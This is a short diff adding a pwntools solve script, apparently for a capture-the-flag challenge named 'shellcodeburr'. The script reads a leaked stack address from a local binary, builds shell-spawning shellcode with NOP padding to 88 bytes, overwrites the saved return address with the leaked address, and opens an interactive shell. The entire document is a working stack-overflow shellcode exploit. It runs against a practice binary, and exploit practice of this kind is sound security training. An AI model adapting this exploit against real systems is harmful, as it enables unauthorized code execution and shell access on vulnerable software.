solve script

random_challs/shellcodeburr/a.py

@@ -0,0 +1,23 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./chall", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# leak
+r.recvuntil(b": ")
+stack_addr = int(r.recvline(), 16)
+log.info("stack_addr: %#x", stack_addr)
+
+# buf
+sc = asm(shellcraft.sh())
+sc += b"\x90"*(88-len(sc))
+buf = sc
+buf += p64(stack_addr)
+s(buf)
+
+r.interactive()